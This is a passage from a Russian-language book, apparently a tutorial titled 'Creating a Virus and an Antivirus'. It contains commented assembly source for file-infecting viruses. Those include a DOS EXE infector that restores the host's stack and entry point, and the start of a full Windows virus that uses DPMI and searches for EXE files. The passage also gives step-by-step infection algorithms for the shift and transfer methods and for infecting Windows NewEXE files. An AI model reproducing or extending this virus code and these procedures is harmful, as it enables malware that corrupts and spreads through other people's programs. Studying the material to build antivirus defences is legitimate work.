Игорь Гульев - Создаем вирус и антивирус
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
;Установим сегмент стека (PSP+10h+OldSS)
mov ss,ax
;Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
;Разрешим прерывания – опасный участок пройден
sti
;Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
;Рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax,DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iretВнедрение способом сдвига
Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше COM-файл, но можно и не слишком большой EXE – это связано с тем, что все тело инфицируемой программы считывается в память и ее может не хватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
14. Создать на диске временный файл с расширением COM или EXE (в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Внедрение способом переноса
Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – «метод переноса». Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер «повиснет» или произойдет перезагрузка системы, инфицированная программа окажется «чистой», то есть без вируса. Но, во-первых, «кто не рискует, тот не пьет шампанского», а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположенное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый файл.
19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.Глава 3 Вирусы под Windows
В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95. Представлены исходные тексты вирусов с подробными комментариями. Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.
Вирусы под Windows 3.11
В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы – это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами – и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) – распознается DOS как программа, выводящая на экран «This program requires Microsoft Windows». Второй заголовок (NewEXE) – для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE – обычный EXE-файл. Начинается он с заголовка EXE для DOS и программы (STUB), которая выводит сообщение «This program requires Microsoft Windows».
Если в EXE-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов «NE». Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней – все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS: IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21 h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении обычного EXE-файла, – изменяется структура EXE-файла и среда, в которой он работает.
.286
.MODEL TINY
.CODE
;Сохраним регистры и флаги
pushf
pusha
push ds
push es
;Проверим, доступен ли DPMI. Если доступен,
;продолжаем, если нет – выходим
mov ax,1686h
int 2Fh
or ax,ax
jz dpmi_exist
;Восстановим регистры и флаги
exit:
pop es
pop ds
popa
popf
;Запустим программу−носитель
db 0EAh
relocIP dw 0
relocCS dw 0FFFFh
dpmi_exist:
;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,0FFFFh
xor bx,bx
int 31h
;Сохраним индекс и 32−битный линейный адрес
;полученного блока памяти в стеке
push si
push di
push bx
push cx
;Создадим дескриптор в таблице LDT
xor ax,ax
mov cx,1
int 31h
;В поле адреса полученного дескриптора
;установим адрес нужного блока памяти
mov bx,ax
mov ax,7
pop dx
pop cx
int 31h
;В поле предела полученного дескриптора
;установим размер выделенного блока памяти
mov ax,8
mov dx,0FFFFh
xor cx,cx
int 31h
;В поле прав доступа полученного дескриптора установим значение,
;соответствующее сегменту данных, доступному для чтения и записи
mov ax,9
mov cl,11110010b
xor ch,ch
int 31h
;Загрузим селектор в регистр DS. После этого регистр DS будет
;указывать на выделенный блок памяти
mov ds,bx
;Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
;Получим текущую DTA
mov ah,2Fh
int 21h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый EXE−файл (маска *.EXE)
mov ah,4Eh
xor cx,cx
mov dx,OFFSET wild_exe